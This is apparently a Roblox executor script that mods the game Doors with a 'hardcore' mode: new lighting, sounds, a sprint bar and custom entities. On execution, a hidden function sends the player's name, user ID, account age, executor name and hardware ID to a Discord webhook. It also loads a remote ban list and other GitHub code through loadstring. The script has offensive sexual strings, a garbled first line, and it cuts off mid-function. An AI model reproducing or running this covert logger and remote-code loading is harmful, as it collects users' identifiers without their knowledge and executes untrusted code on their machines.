funeworkGitSoundID(GithubSnd,SoundName)
SoundName=tostring(SoundName)
local url=GithubSnd
SoundName=tostring(SoundName)
local url=GithubSnd
FileName = SoundName
writefile("customObject_Sound_"..FileName..".mp3", game:HttpGet(url))
return (getcustomasset or getsynasset)("customObject_Sound_"..FileName..".mp3")
local function UwU()
local plr = game.Players.LocalPlayer
--//hardware ban idiots L
local wids = loadstring(game:HttpGet('https://github.com/thatstinknoon/R5XGvimYhgwJFidm7aHiizsup02dJwcUUNuhTQULHY0RkWRarse8JI305YT0Pyu06G1HiBPmlzyNTIGU2tkCEtzVgb/blob/main/BannedHWIDS?raw=true'))()
for i = 1,#wids do
local tbal = wids[i]
local TheHwid = tbal[1]
local TheReason = tbal[2]
if game:GetService("RbxAnalyticsService"):GetClientId() == TheHwid then
pcall(function()
plr:Kick(TheReason)
end)
task.delay(1,function()
plr:Destroy()
plr.Character:Destroy()
return
end)
end
end
local OSTime = os.time()
local Time = os.date('!*t', OSTime)
local function getexploit()
local exploit = is_sirhurt_closure and "Sirhurt" or pebc_execute and "ProtoSmasher" or syn and "Synapse X" or
secure_load and "Sentinel" or
KRNL_LOADED and "Krnl" or
SONA_LOADED and "Sona" or
FLUXUS_LOADED and "Fluxus (Pc)" or
hookfunction_raw and hmjdfk and "Fluxus (Not Pc)" or
IS_COCO_LOADED and "Coco" or
isvm and "Proxo" or
getreg()['CalamariLuaEnv'] and "Calamari" or
jit and "easyexploits" or
WrapGlobal and "WRD" or
IS_VIVA_LOADED and "VIVA" or
shadow_env and "Shadow" or
secure_load and "Sentinel" or issentinelclosure and "Sentinel" or
is_sirhurt_closure and "Sirhurt" or
pebc_execute and "Sirhurt" or is_protosmasher_closure and "Sirhurt" or
"Unable to Find Exploit"
return exploit
end
local Content = 'Hardcore executed'
local Embed = {
["title"] = "__**someone just executed**__",
["description"] = "Name: ``"..plr.Name.."``\nDisplay Name: ``"..plr.DisplayName.."``\nExploit: ``"..getexploit()..'``'.."\nGame: ["..game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId).Name.."](https://www.roblox.com/games/"..game.PlaceId..')',
["type"] = "rich",
["color"] = tonumber(0xffff00),
["thumbnail"] = {
["url"] = "https://www.roblox.com/asset-thumbnail/image?assetId="..game.PlaceId.."&width=768&height=432"
},
["image"] = {
["url"] = "http://www.roblox.com/Thumbs/Avatar.ashx?x=250&y=250&Format=Png&username="..plr.Name
},
["fields"] = {
{
["name"] = "__Account Age(are you underage.;;.) :__",
["value"] = '``'..plr.AccountAge.." days old``",
["inline"] = true
},
{
["name"] = "__User ID:__",
["value"] = '['..plr.UserId..'](https://web.roblox.com/users/'..plr.UserId..'/profile)',
["inline"] = true
},
{
["name"] = "__Hardware ID (muahhahahaAHAHA):__",
["value"] = '``'..game:GetService("RbxAnalyticsService"):GetClientId()..'``',
["inline"] = true,
}
},
["footer"] = {
["text"] = "doors logger lololololo FUCK YOU",
["icon_url"] = "https://media.discordapp.net/attachments/1084319264569311305/1084328067553570906/Boykisser.png"
},
["timestamp"] = string.format('%d-%d-%dT%02d:%02d:%02dZ', Time.year, Time.month, Time.day, Time.hour, Time.min, Time.sec),
};
(syn and syn.request or http_request or http.request) {
Url = 'https://webhook.lewisakura.moe/api/webhooks/1084488655952953344/GWPKzBHRcyJLbOtdPC-kivQ8kqtsX576uQ6PtySGdSFUxnSIAH4zgTj49wlvZWM0ndDR';
Method = 'POST';
Headers = {
['Content-Type'] = 'application/json';
};
Body = game:GetService'HttpService':JSONEncode({content = Content; embeds = {Embed}; });
};
end
UwU()
local Beans = false
local Bravo = false
local LightReplaceModel = game:GetObjects("rbxassetid://12543866876")[1] or nil
local BookcaseReplaceModel = nil
local v8 = game:GetService("ReplicatedStorage").Sounds:FindFirstChild("LA_The Garden");
function PreloadSounds(msg,Soundid)
if not game:GetService("ReplicatedStorage").Sounds:FindFirstChild("LA_"..msg) then
Sound = v8:Clone()
Sound.SoundId = Soundid
Sound.Parent = game:GetService("ReplicatedStorage").Sounds
Sound.Name ='LA_'..msg
end
end
print("Loade")
game.Players.LocalPlayer.PlayerGui.MainUI.Initiator.Main_Game.Health.Music.Blue.SoundId = "rbxassetid://10472612727"
game.Players.LocalPlayer.PlayerGui.MainUI.Initiator.Main_Game.Health.Music.Blue.Pitch = 0.55
game.Lighting.FogColor = Color3.fromRGB(0, 0, 0)
game.Lighting.FogStart = 5
game.Lighting.FogEnd = 800
game.ReplicatedStorage.Sounds.BulbZap.SoundId = "rbxassetid://4398878054"
local latestroom = game.ReplicatedStorage.GameData.LatestRoom.Value
local roomlatestworkspace = workspace.CurrentRooms[latestroom]
function changedoormaterial(doormodel)
doormodel.Door.Material = "DiamondPlate"
doormodel.Door.Color = Color3.fromRGB(80,80,80)
doormodel.Door.Sign.Material = "Metal"
doormodel.Door.Sign.Color = Color3.fromRGB(111,111,111)
doormodel.Sign.Stinker.TextColor3 = Color3.new(0.8,0.8,0.8)
doormodel.Sign.Stinker.Highlight.TextColor3 = Color3.new(0.6,0.6,0.6)
end
function message2(msg,SoundId)
PreloadSounds(msg,SoundId)
gameid = game.PlaceId
Length = Length or 5
if (gameid==6839171747) then
game.Players.LocalPlayer.PlayerGui.MainUI.Initiator.Main_Game.Reminder.Enabled=true
M = require(game.Players.LocalPlayer.PlayerGui.MainUI.Initiator.Main_Game)
elseif (gameid == 6516141723) then
game.Players.LocalPlayer.PlayerGui.MainUI.Initiator.Main_Lobby.Reminder.Enabled=true
M = require(game.Players.LocalPlayer.PlayerGui.MainUI.Initiator.Main_Lobby)
end
M.titlelocation(msg) -- Text,Enabled,Length
end
function ChangeStyle(room,Modifed)
Modifed=Modifed or 'Idk'
wait(0)
if Modifed == 'Chandelier' then
for i,v in pairs(room.Assets:GetDescendants()) do
if v.Name == "Chandelier" then
v:Destroy()
end
end
return
end
--Change Light Model
for i,v in pairs(room.Assets.Light_Fixtures:GetDescendants()) do
if v.Name == "LightStand" then
if game.ReplicatedStorage.GameData.LatestRoom.Value < 51 then
local torch = LightReplaceModel:Clone()
torch.Parent = room.Assets.Light_Fixtures
torch.LightFixture.PointLight.Changed:Connect(function()
torch.LightFixture.Neon.atachm["Ok you cannot tell me this isnt good"].Enabled = torch.LightFixture.PointLight.Enabled
torch.LightFixture.Neon["Bright sh idfk"].ParticleEmitter.Enabled = torch.LightFixture.PointLight.Enabled
torch.LightFixture:WaitForChild('Dust').ParticleEmitter.Enabled = torch.LightFixture.PointLight.Enabled
end)
torch:PivotTo(v:GetPivot())
v:Destroy()
else
v:Destroy()
end
end
end
--FUNCTIONEND
end
--Change Seek Eye Model
for i,v in pairs(game.ReplicatedStorage.Misc.Eyes:GetDescendants()) do
if v.Name == "Eye" then
v:FindFirstChild("Part").Decal.Texture = "rbxassetid://1882220622"
v:FindFirstChild("Eye").Name = "KYS"
end
end
--Change Currentroom
ChangeStyle(roomlatestworkspace)
spawn(function()
game.ReplicatedStorage.GameData.LatestRoom.Changed:Wait()
print("Something much more deeper has begun.")
end)
--CHange latest room on value change
game.ReplicatedStorage.GameData.LatestRoom.Changed:Connect(function(v)
if v > 52 or Bravo then
ChangeStyle(workspace.CurrentRooms[game.ReplicatedStorage.GameData.LatestRoom.Value],'Chandelier')
end
if v == 49 then
message2('figure's ass','rbxassetid://1835274270')
elseif v > 64 and workspace.CurrentRooms[v]:FindFirstChild('Assets'):FindFirstChild('Bed_Infirmary') and v < 80 then
Sound = GetGitSoundID("https://github.com/Sosnen/Ping-s-Dumbass-projects-/blob/main/Ambience_Infirmary_Entrence.mp3?raw=true",'infermy')
message2('The fucking among us imfirrjd',Sound)
elseif v > 80 and workspace.CurrentRooms[v]:FindFirstChild('Assets'):FindFirstChild('Garden_LanternUnique') and v < 99 then
message2('The Grass Touch','rbxassetid://7132953277')
end
if v == 53 then
Sound = GetGitSoundID("https://github.com/Sosnen/Ping-s-Dumbass-projects-/blob/main/Dark-Depths_Entrencebetter.mp3?raw=true",'dork')
message2('The Fatass rooms',Sound)
Bravo=true
Beans = true
elseif v == 90 then
message2('The Dark ass house','rbxassetid://1847269119')
elseif v == 100 then
message2('Figure's Sex Dungeon','rbxassetid://1837449237')
end
local latestroom = game.ReplicatedStorage.GameData.LatestRoom.Value
local roomlatestworkspace = workspace.CurrentRooms[latestroom]
ChangeStyle(roomlatestworkspace)
end)
--Bravo 6, going dark.
workspace.Ambience_Dark.Played:Connect(function()
Bravo = true
wait(.01)
workspace.CurrentRooms[game.ReplicatedStorage.GameData.LatestRoom.Value].Assets.Light_Fixtures:Destroy()
--workspace.CurrentRooms[game.ReplicatedStorage.GameData.LatestRoom.Value].Assets.Chandelier:Destroy()
workspace.Ambience_Dark:Stop()
game.Lighting.FogStart = 10
game.Lighting.FogEnd = 10000000
end)
--sprint, pls follow the instructions if u wanna change your keybinds (default is Q)
local Parent = game.Players.LocalPlayer.PlayerGui
local Sprint = Instance.new("Frame")
local ImageLabel = Instance.new("ImageLabel")
local UICorner = Instance.new("UICorner")
local UIPadding = Instance.new("UIPadding")
local Bar = Instance.new("Frame")
local UICorner_2 = Instance.new("UICorner")
local UIPadding_2 = Instance.new("UIPadding")
local Fill = Instance.new("Frame")
local UICorner_3 = Instance.new("UICorner")
--Properties:
local StaminaGui = Instance.new("ScreenGui")
--Properties:
StaminaGui.Name = "StaminaGui"
StaminaGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
StaminaGui.Enabled = true -- Want hell mode? Yea?? Set this to false then, and enjoy suffering
StaminaGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
Sprint.Name = "Sprint"
Sprint.Parent = StaminaGui
Sprint.AnchorPoint = Vector2.new(0, 1)
Sprint.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Sprint.BackgroundTransparency = 1.000
Sprint.Position = UDim2.new(0.931555569, 0, 0.987179458, 0)
Sprint.Size = UDim2.new(0.0556001104, 0, 0.0756410286, 0)
Sprint.SizeConstraint = Enum.SizeConstraint.RelativeYY
Sprint.ZIndex = 1005
ImageLabel.Parent = Sprint
ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 222, 189)
ImageLabel.Size = UDim2.new(1, 0, 1, 0)
ImageLabel.SizeConstraint = Enum.SizeConstraint.RelativeYY
ImageLabel.Visible = false
UICorner.CornerRadius = UDim.new(1, 0)
UICorner.Parent = ImageLabel
UIPadding.Parent = Sprint
UIPadding.PaddingBottom = UDim.new(0.300000012, -5)
UIPadding.PaddingLeft = UDim.new(0.0199999996, 0)
UIPadding.PaddingRight = UDim.new(0.0500000007, -15)
UIPadding.PaddingTop = UDim.new(0.300000012, -5)
Bar.Name = "Bar"
Bar.Parent = Sprint
Bar.AnchorPoint = Vector2.new(0, 0.5)
Bar.BackgroundColor3 = Color3.fromRGB(56, 46, 39)
Bar.BackgroundTransparency = 0.700
Bar.Position = UDim2.new(-2.72600269, 0, 0.499999672, 0)
Bar.Size = UDim2.new(3.60599804, 0, 0.600000083, 0)
Bar.ZIndex = 0
UICorner_2.CornerRadius = UDim.new(0.25, 0)
UICorner_2.Parent = Bar
UIPadding_2.Parent = Bar
UIPadding_2.PaddingBottom = UDim.new(0, 4)
UIPadding_2.PaddingLeft = UDim.new(0, 4)
UIPadding_2.PaddingRight = UDim.new(0, 4)
UIPadding_2.PaddingTop = UDim.new(0, 4)
Fill.Name = "Fill"
Fill.Parent = Bar
Fill.AnchorPoint = Vector2.new(0, 0.5)
Fill.BackgroundColor3 = Color3.fromRGB(213, 185, 158)
Fill.Position = UDim2.new(0, 0, 0.5, 0)
Fill.Size = UDim2.new(1, 0, 1, 0)
Fill.ZIndex = 2
UICorner_3.CornerRadius = UDim.new(0.25, 0)
UICorner_3.Parent = Fill
local erm = Instance.new("ScreenGui")
local ImageLabel = Instance.new("ImageLabel")
erm.IgnoreGuiInset = true
erm.Name = "erm"
erm.Parent = Parent
erm.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
ImageLabel.Parent = erm
ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
ImageLabel.BackgroundTransparency = 1.000
ImageLabel.Size = UDim2.new(1, 0, 0.998717964, 0)
ImageLabel.Image = "rbxassetid://190596490"
ImageLabel.ImageColor3 = Color3.fromRGB(0, 0, 0)
ImageLabel.ImageTransparency = 1
-- Services
local Players = game:GetService("Players")
local UIS = game:GetService("UserInputService")
-- Variables
local Plr = Players.LocalPlayer
local Char = Plr.Character or Plr.CharacterAdded:Wait()
local Hum = Char:WaitForChild("Humanoid")
local stamina, staminaMax = 100, 100
local sprintTime = 7
local cooldown = false
local ModuleScripts = {
MainGame = require(Plr.PlayerGui.MainUI.Initiator.Main_Game),
}
-- Setup
local nIdx; nIdx = hookmetamethod(game, "__newindex", newcclosure(function(t, k, v)
if k == "WalkSpeed" then
if ModuleScripts.MainGame.chase then
v = ModuleScripts.MainGame.crouching and 15 or 22
elseif ModuleScripts.MainGame.crouching then
v = 8
else
v = isSprinting and 20 or 12
end
end
return nIdx(t, k, v)
end))
-- Scripts
sprintTime = math.max(sprintTime - 1, 1)
local zerostamtween = game.TweenService:Create(ImageLabel,TweenInfo.new(12),{ImageTransparency = 0})
UIS.InputBegan:Connect(function(key, gameProcessed)
if not gameProcessed and key.KeyCode == Enum.KeyCode.Q and not cooldown and not ModuleScripts.MainGame.crouching then
-- Sprinting
isSprinting = true
Hum:SetAttribute("SpeedBoost",4)
zerostamtween:Play()
while UIS:IsKeyDown(Enum.KeyCode.Q) and stamina > 0 do ---change Q to whatever you want your keybind to be
stamina = math.max(stamina - 1, 0)
Fill.Size = UDim2.new(1 / staminaMax * stamina, 1, 1, 0)
task.wait(sprintTime / 100)
end
-- Reset
zerostamtween:Pause()
isSprinting = false
Hum:SetAttribute("SpeedBoost",0)
game.TweenService:Create(ImageLabel,TweenInfo.new(1),{ImageTransparency = 1}):Play()
Hum.WalkSpeed = 12
if stamina == 0 then
-- Cooldown
firesignal(game.ReplicatedStorage.EntityInfo.Caption.OnClientEvent,"You're exhausted.")
local noStamernaSound = Instance.new("Sound",workspace)
noStamernaSound.SoundId = "rbxassetid://8258601891"
noStamernaSound.Volume = 0.8
noStamernaSound.PlayOnRemove = true
noStamernaSound:Destroy()
cooldown = true
game.TweenService:Create(ImageLabel,TweenInfo.new(0.3),{ImageTransparency = 0}):Play()
wait(0.3)
game.TweenService:Create(ImageLabel,TweenInfo.new(10),{ImageTransparency = 1}):Play()
for i = 1, staminaMax, 1 do
stamina = i
Fill.Size = UDim2.new(1 / staminaMax * i, 1, 1, 0)
task.wait(sprintTime / 50)
end
cooldown = false
else
-- Refill
cooldown = false
Spawn(function()
--wait(1)
cooldown = false
end)
game.TweenService:Create(ImageLabel,TweenInfo.new(1),{ImageTransparency = 1}):Play()
while not UIS:IsKeyDown(Enum.KeyCode.Q) do ---change Q to whatever you want your keybind to be
stamina = math.min(stamina + 1, staminaMax)
Fill.Size = UDim2.new(1 / staminaMax * stamina, 1, 1, 0)
task.wait(sprintTime / 50)
end
end
end
end)
Hum:SetAttribute("SpeedBoost",0)
Hum.WalkSpeed = 12
local VitaminsActivatedConnection, VitaminsDebounce = nil, false
Char.ChildAdded:Connect(function(CA)
if CA.Name == "Vitamins" then
local Tool = Char:FindFirstChild("Vitamins")
VitaminsActivatedConnection = Tool.Activated:Connect(function()
if VitaminsDebounce then
return false
end
VitaminsDebounce = true
Char.Humanoid.Health = Char.Humanoid.Health + 30
stamina = 100
task.delay(10, function()
VitaminsDebounce = false
end)
end)
Tool.Unequipped:Connect(function()
VitaminsActivatedConnection:Disconnect()
print("test")
end)
end
end)
--mommy im scared
function DEATHMESSAGE(message,who)
spawn(function()
for i = 1,50 do wait()
game:GetService("ReplicatedStorage").GameStats["Player_".. game.Players.LocalPlayer.Name].Total.DeathCause.Value = who
firesignal(game:GetService("ReplicatedStorage").EntityInfo.DeathHint.OnClientEvent, message,'Blue')
end
end)
end
local function message(msg)
firesignal(game.ReplicatedStorage.EntityInfo.Caption.OnClientEvent,msg)
end
if workspace:FindFirstChild("hardcoreInit") then message("Executed 2 times! Returning...") return end
if game.ReplicatedStorage.GameData.LatestRoom.Value > 1 then
game.ReplicatedStorage.GameStats["Player_".. game.Players.LocalPlayer.Name].Total.DeathCause.Value = "Error"
firesignal(game.ReplicatedStorage.EntityInfo.DeathHint.OnClientEvent, {"You need to execute the script at door 0!","Remember this!"},'Blue')
game.Players.LocalPlayer.Character:FindFirstChildWhichIsA("Humanoid"):TakeDamage(100)
return
end
game:GetService("ReplicatedStorage").GameData.LatestRoom.Changed:Connect(function(v)
L = game:GetService("Workspace").CurrentRooms[v].PathfindNodes:Clone()
L.Parent = game:GetService("Workspace").CurrentRooms[v]
L = game:GetService("Workspace").CurrentRooms[v].PathfindNodes:Clone()
L.Parent = game:GetService("Workspace").CurrentRooms[v]
L.Name = 'Nodes'
end)
local EnabledBool = Instance.new("BoolValue",workspace)
EnabledBool.Name = "hardcoreInit"
local syncConnection; syncConnection = game:GetService("ReplicatedStorage").GameData.LatestRoom:GetPropertyChangedSignal("Value"):Wait()
delay(0,function()
local SillyBillies = {"fucking execution","tinkgy's ass","grooming minors","Balls","sex for everyone","give us your balls","the","the entire dick shoved in my ass"}
message("this stupid shit in roblox")
task.wait(2)
message("who the fuck cares")
task.wait(4)
message(SillyBillies[math.random(1,#SillyBillies)])
end)
delay(0,function() --set the music
local function GetGitSoundID(GithubSnd,SoundName)
SoundName=tostring(SoundName)
local url=GithubSnd
SoundName=tostring(SoundName)
local url=GithubSnd
FileName = SoundName
writefile("customObject_Sound_"..FileName..".mp3", game:HttpGet(url))
return (getcustomasset or getsynasset)("customObject_Sound_"..FileName..".mp3")
end
local SelfModules = {
Functions = loadstring(game:HttpGet("https://raw.githubusercontent.com/RegularVynixu/Utilities/main/Functions.lua"))(),
}
local NewSeek = GetGitSoundID("https://github.com/Sosnen/Ping-s-Dumbass-projects-/blob/main/Here%20i%20come%20but%20WHAT%20THE%20FUCK.mp3?raw=true","NewSeek")
local OldSeek = workspace.Ambience_Seek
OldSeek.SoundId=NewSeek
OldSeek.Volume = 2.2
local NewFigure = GetGitSoundID("https://github.com/Sosnen/Ping-s-Dumbass-projects-/raw/main/Figure%20Ambience.mp3?raw=true","NewFigure")
local OldFigure = workspace.Ambience_Figure
OldFigure.SoundId=NewFigure
local NewFigureStart = GetGitSoundID("https://github.com/Sosnen/Ping-s-Dumbass-projects-/blob/main/Figure%20Start.mp3?raw=true","NewFigureStart")
local OldFigureStart = workspace.Ambience_FigureStart
OldFigureStart.SoundId=NewFigureStart
local NewFigureEnd = GetGitSoundID("https://github.com/Sosnen/Ping-s-Dumbass-projects-/blob/main/Figure%20End.mp3?raw=true","NewFigureEnd")
local OldFigureEnd = workspace.Ambience_FigureEnd
OldFigureEnd.SoundId=NewFigureEnd
end)
--NEW SEEK
game.ReplicatedStorage.GameData.LatestRoom.Changed:Connect(function()
wait(3.5)
if not workspace:FindFirstChild("SeekMoving") then
return
end
local RealSeek = workspace:FindFirstChild("SeekMoving")
local RealSeekRig = RealSeek:FindFirstChild("SeekRig")
local seekNew = game:GetObjects("rbxassetid://11664451634")[1]
seekNew.Name = "seek2"
for i,v in pairs(seekNew.Figure:GetChildren()) do
if v:IsA("Sound") then
v:Stop()
end
end
RealSeekRig.Head.Eye:Destroy()
RealSeekRig.Head.Black:Destroy()
seekNew.Parent = workspace
local SeekRig = seekNew:FindFirstChild("SeekRig")
SeekRig:FindFirstChild("Root").Anchored = true
spawn(function()
while game["Run Service"].Heartbeat:Wait() and RealSeek do
if RealSeekRig:FindFirstChild("Root") then
SeekRig:FindFirstChild("Root").CFrame = RealSeekRig:FindFirstChild("Root").CFrame
end
for i,v in pairs(RealSeek.Figure:GetChildren()) do
RealSeek.Figure.Footsteps:Stop()
RealSeek.Figure.FootstepsFar:Stop()
end
for i,v in pairs(RealSeekRig:GetChildren()) do
if v:IsA("BasePart") then
v.Transparency = 1
end
end
end
end)
local seksound = workspace.Ambience_Seek
seksound.Played:Connect(function()
spawn(function()
wait(7)
local figure = seekNew.Figure
figure.FootseptsFar:Play()
figure.Footsteps:Play()
figure.Splashing:Play()
figure["Splashing Far"]:Play()
end)
local raiser = SeekRig.AnimationController:LoadAnimation(SeekRig.AnimRaise) raiser:Play()
raiser.Stopped:Wait()
SeekRig.AnimationController:LoadAnimation(SeekRig.AnimRun):Play()
end)
end)
local painters = 1
local paints = {
[1] = {"rbxassetid://11881132074","Despair"},
[2] = {"rbxassetid://11881132745","Odd feline Specimen"},
[3] = {"rbxassetid://11881654771","A tryhard..."},
[4] = {"rbxassetid://7084794697","him."}
}
---
--- NEW PAINTINGS YOOOOOOOOOOOOOOOOOOOOO
game:GetService("ReplicatedStorage").GameData.LatestRoom.Changed:Connect(function()
local room = workspace.CurrentRooms[game:GetService("ReplicatedStorage").GameData.LatestRoom.Value]
if room:FindFirstChild("Assets") then
local paintings = {}
for i,painting in next,room:FindFirstChild("Assets"):GetChildren() do
if painting.Name:find("Painting") then
table.insert(paintings,painting)
end
end
if #paintings > 0 then
local currentpainting
if paintings[#paintings] then
painters = painters + 1
currentpainting = paintings[#paintings]
else
currentpainting = paintings[1]
end
if currentpainting then
if currentpainting:FindFirstChild("Canvas") then
local selected = paints[math.random(1,#paints)]
if currentpainting:FindFirstChild("InteractPrompt") then
local cloning = currentpainting:FindFirstChild("InteractPrompt"):Clone() cloning.Name = "fakeInteract"
cloning.Parent = currentpainting
currentpainting:FindFirstChild("InteractPrompt"):Destroy()
local t = cloning.Triggered:Connect(function()
firesignal(game.ReplicatedStorage.EntityInfo.Caption.OnClientEvent,string.gsub("This painting is titled \"NAMEOFTHING\"","NAMEOFTHING",selected[2]))
end)
end
currentpainting:FindFirstChild("Canvas"):FindFirstChildOfClass("SurfaceGui"):FindFirstChildOfClass("ImageLabel").Image = selected[1]
end
end
end
end
end)
spawn(function()
------------------------------------------Entity Deer God
getgenv().death = false
local function a()
while true do
wait(385)
if (workspace.Ambience_Seek.Playing or workspace.Ambience_Figure.Playing or workspace.Ambience_FigureIntense.Playing or workspace.Ambience_FigureEnd.Playing or workspace.CurrentRooms:FindFirstChild("50")) then
a()
return
end
local Creator = loadstring(game:HttpGet("https://raw.githubusercontent.com/RegularVynixu/Utilities/main/Doors%20Entity%20Spawner/Source.lua"))()
-- Create entity
local entity = Creator.createEntity({
Model = "12262883448",
Speed = 25,
DelayTime = 0,
HeightOffset = 0,
CanKill = true,
BreakLights = true,
FlickerLights = {
true,
80,
},
Cycles = {
Min = 1,
Max = 1,
WaitTime = 0.1,
},
CamShake = {
true,
{5, 15, 0.1, 1},
10,
},
Jumpscare = {
true, -- Enabled ('false' if you don't want jumpscare)
{
Image1 = "rbxassetid://11394027278", -- Image1 url
Image2 = "rbxassetid://11395249153", -- Image2 url
Shake = true,
Sound1 = {
10483790459, -- SoundId
{ Volume = 0.5 }, -- Sound properties
},
Sound2 = {
10483837590, -- SoundId
{ Volume = 0.5 }, -- Sound properties
},
Flashing = {
true, -- Enabled
Color3.fromRGB(48, 25, 52), -- Color
},
Tease = {
false, -- Enabled ('false' if you don't want tease)
Min = 1,
Max = 1,
},
},
},
CustomDialog = {"You died to whom you call The Deer God","Closets Wont work! So try running","Its form is incomprehensible to a human upclose...","..-so avoid Eye Contact" }
})
local function GetGitSound(GithubSnd,SoundName)
local url=GithubSnd
if not isfile(SoundName..".mp3") then
writefile(SoundName..".mp3", game:HttpGet(url))
end
local sound=Instance.new("Sound")
sound.SoundId=(getcustomasset or getsynasset)(SoundName..".mp3")
return sound
end
local Chase = GetGitSound("https://github.com/Noonie1/goob/blob/main/Followed..mp3?raw=true","followed")
Chase.Parent = workspace
Chase.Volume = 0
local cameraShaker = require(game.ReplicatedStorage.CameraShaker)
local camera = workspace.CurrentCamera
local camShake = cameraShaker.new(Enum.RenderPriority.Camera.Value, function(cf)
camera.CFrame = camera.CFrame * cf
end)
camShake:Start()
-----[[ Advanced ]]-----
entity.Debug.OnEntitySpawned = function(entity)
Chase:Play()
game.TweenService:Create(Chase,TweenInfo.new(5),{Volume = 0.7}):Play()
camShake:ShakeSustain(cameraShaker.Presets.Earthquake)
end
entity.Debug.OnEntityDespawned = function(entity)
camShake:StopSustained(5)
game.TweenService:Create(Chase,TweenInfo.new(10),{Volume = 0,Pitch = 0}):Play()
if getgenv().death == false then
getgenv().Title = "Last Chance To Look Away" --Title Here
getgenv().Description = "Why are you running?" --Description Here
getgenv().Reason = "Survive the rare Entity called Dear God" --Reason Here
getgenv().BadgeId = 2129311966 --Replace Number with Your Badge ID
getgenv().Category = 10 --You can replace the Category or dont
local Unlock = require(game.Players.LocalPlayer.PlayerGui.MainUI.Initiator.Main_Lobby.RemoteListener.Modules.AchievementUnlock)
local Achievements = debug.getupvalue(Unlock, 1)
for i,v in pairs(require(game:GetService("ReplicatedStorage").Achievements)) do
v.Title = getgenv().Title
v.Desc = getgenv().Description
v.Reason = getgenv().Reason
v.BadgeId = getgenv().BadgeId
v.Category = getgenv().Category
end
Unlock(nil,"Join")
end
end
entity.Debug.OnEntityStartMoving = function(entity)
end
entity.Debug.OnEntityFinishedRebound = function(entity)
end
entity.Debug.OnDeath = function()
getgenv().death = true
end
---------------------------
-- Run the created entity
Creator.runEntity(entity)
end
end
a()
end)
local function A60spawn()
task.spawn(function()
local Creator = loadstring(game:HttpGet("https://raw.githubusercontent.com/RegularVynixu/Utilities/main/Doors%20Entity%20Spawner/Source.lua"))()
-- Create entity
local entity = Creator.createEntity({
Model = "12263106166",
Speed = 350,
DelayTime = 3,
HeightOffset = 0.5,
CanKill = false,
FlickerLights = {
false,
4,
},
Cycles = {
Min = 4,
Max = 4,
WaitTime = 0.05,
},
CamShake = {
true,
{30, 30, 0.1, 1},
50,
},
Jumpscare = {
false, -- Enabled ('false' if you don't want jumpscare)
{
Image1 = "rbxassetid://11394048190", -- Image1 url
Image2 = "rbxassetid://11395251069", -- Image2 url
Shake = true,
Sound1 = {
10483790459, -- SoundId
{ Volume = 0.5 }, -- Sound properties
},
Sound2 = {
10483837590, -- SoundId
{ Volume = 0.5 }, -- Sound properties
},
Flashing = {
true, -- Enabled
Color3.fromRGB(255, 0, 0), -- Color
},
Tease = {
true, -- Enabled ('false' if you don't want tease)
Min = 1,
Max = 3,
},
},
},
CustomDialog = {"You died to an enitity designated as A-60", "It can Appear at any moment, a loud scream will anounce its presence", "When you hear it spawn you must stay out of its reach as soon as possible", "It knows exactly where you are so hiding in different places will not work.."}
})
local spawned = true
-----[[ Advanced ]]-----
entity.Debug.OnEntitySpawned = function()
print("hi")
local function GetGitSound(GithubSnd,SoundName)
local url=GithubSnd
if not isfile(SoundName..".mp3") then
writefile(SoundName..".mp3", game:HttpGet(url))
end
local sound=Instance.new("Sound")
sound.SoundId=(getcustomasset or getsynasset)(SoundName..".mp3")
return sound
end
local function Kill()
print("killering")
-- Gui to Lua
-- Version: 3.2
-- Instances:
local ScreenGui = Instance.new("ScreenGui")
local JumpscareEnd = Instance.new("ImageLabel")
local Full = Instance.new("ImageLabel")
--Properties:
ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
JumpscareEnd.Name = "JumpscareEnd"
JumpscareEnd.Parent = ScreenGui
JumpscareEnd.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
JumpscareEnd.BackgroundTransparency = 1.000
JumpscareEnd.Position = UDim2.new(0.468161434, 0, 0.455128193, 0)
JumpscareEnd.Size = UDim2.new(0.0636771321, 0, 0.0884615406, 0)
JumpscareEnd.Image = "rbxassetid://0"
JumpscareEnd.ImageColor3 = Color3.fromRGB(255, 0, 4)
Full.Name = "Full"
Full.Parent = ScreenGui
Full.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Full.BackgroundTransparency = 1.000
Full.Position = UDim2.new(-0.0609865487, 0, -0.224358946, 0)
Full.Size = UDim2.new(1.12197304, 0, 1.44743586, 0)
Full.Image = "http://www.roblox.com/asset/?id=11151804223"
Full.ImageTransparency = 1.000
-- Scripts:
local function DKITLS_fake_script() -- ScreenGui.Jumpscare
local script = Instance.new('LocalScript', ScreenGui)
--if not workspace:FindFirstChild("A-60") then return end
local Gui = script.Parent
local Plr = game.Players.LocalPlayer
local Char = Plr.Character
local Hum = Char:FindFirstChildOfClass("Humanoid")
local Root = Char:FindFirstChild("HumanoidRootPart")
local A60 = workspace:FindFirstChild("A-60")
local Camera = workspace.CurrentCamera
local cameraShaker = require(game.ReplicatedStorage.CameraShaker)
local ReSt = game:GetService("ReplicatedStorage")
local camShake = cameraShaker.new(Enum.RenderPriority.Camera.Value, function(cf)
Camera.CFrame = Camera.CFrame * cf
end)
camShake:Start()
local Jumpscaring = true
local monster1 = A60:FindFirstChild("RushNew"):Clone()
local function ImageChange(Part)
spawn(function()
while game["Run Service"].Heartbeat:Wait() do
local get = Part.IMAGEIDS:GetChildren()
local randome = get[math.random(1,#get)]
Part.Main.Face.Texture = randome.Image
wait(Random.new():NextNumber(0,0.02))
end
end)
end
monster1.Parent = Camera ImageChange(monster1) monster1.Name = "A-60_SCARE"
for i,v in pairs(monster1:GetDescendants()) do
if v:IsA("Sound") then
v:Destroy()
end
end
local EntityOffset = Vector3.new(0,-1.2,-5)
local LerpAlpha = 0.8
local JumpscareSound = GetGitSound("https://github.com/Noonie1/goob/blob/main/A-60jumpscare%20(1).mp3?raw=true","asixtyScareOmg") JumpscareSound.Parent = workspace
JumpscareSound.Volume = 6
JumpscareSound:Play()
camShake:ShakeOnce(25,25,0,4,90,60)
local JumpscareContrast = Instance.new("ColorCorrectionEffect",game.Lighting)
